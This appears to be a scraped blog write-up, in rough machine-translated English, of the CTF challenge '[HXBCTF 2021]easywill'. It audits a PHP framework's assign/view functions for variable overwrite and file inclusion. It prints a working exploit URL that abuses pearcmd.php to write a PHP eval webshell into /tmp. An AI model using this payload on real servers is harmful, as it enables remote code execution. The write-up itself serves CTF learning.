当前位置:网站首页>[HXBCTF 2021]easywill
[HXBCTF 2021]easywill
2022-06-12 12:36:00 【Arnoldqqq】

This question index The code given on is very short , You need to download the framework source code , Self revision audit . I didn't find it. 2.1.5 Source code , Next up to date . I saw this question during the competition assign The function thought it was a template injection. The function thought it would explode the template variable name, so it didn't adjust it . I'm not familiar with debugging , Subconsciously, I don't want to audit the function calls of the framework
Let's start the audit , modify app/controller/IndexController.php The content of is consistent with that given in the title

Track first assign function


assign It's just a function of assignment Pass to view among

Look again view function




You can see that there are variable overrides and that the file contains
Turn on debug You can see the function call stack , The test parameters here are &name=cfile&value=1

write in shell To tmp Catalog , Why does this include pearcmd.php The reason for this is detailed in : utilize pearcmd.php from LFI To getshell_feng The blog of -CSDN Blog

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/test2.php+-d+man_dir=<?eval($_POST[0]);?>+-s+
Remember to use burp If the browser calls directly <> Will be url code , If you write a horse, you won't analyze it


边栏推荐
- BAT面试&高级进阶,文末领取面试资料
- Lightweight ---project
- 从小白入手,从已经训练好的模型中取出weight权重参数绘制柱状图
- Differences and recommended uses of VaR, let and const (interview)
- 你不会只会用console.log()吧?
- NewOJ Week 10题解
- Matlab install license manager error -8
- Problems encountered in installing canvas and errors encountered in running the project
- sublime_ Textuse
- itk neighbhood
猜你喜欢

JS convert string to array object

This direction of ordinary function and arrow function

VS2019 设置 CTRL+/ 为注释和取消注释快捷键

Principle of master-slave replication of redis

JS built in object

Lightweight ---project

C语言进阶篇——万字详解指针和qsort函数

【数据库】navicat --oracle数据库创建

深度剖析指针的进阶——C语言的进阶篇

itk itk::BSplineDeformableTransform
随机推荐
Examples of Cartesian product and natural connection of relational algebra
itk::Neighborhood获取6邻域、18邻域、26邻域,18/6邻域,26/18邻域
Rust language learning
Promise knowledge
常数时间删除/查找数组中的任意元素
Problems encountered in installing canvas and errors encountered in running the project
Advanced C language -- storage of deep anatomical data in memory (with exercise)
关系代数笛卡尔积和自然连接的例子
Backtracking, eight queens
Time series database - incluxdb2 docker installation
JS how to convert a string into an array object
vtk 图像序列鼠标交互翻页
[translation] go references - the go memory model | memory model for Chinese translation of official golang documents
Suggestions and skills for advanced version of go language test
JS pre parsing, object, new keyword
Matlab install license manager error -8
【vim】vim插件YouCompleteMe配置文件
vant 标签栏+上拉加载+下拉刷新demo van-tabs+van-pull-refresh+van-list demo
Boot entry directory
Bat interview & advanced, get interview materials at the end of the text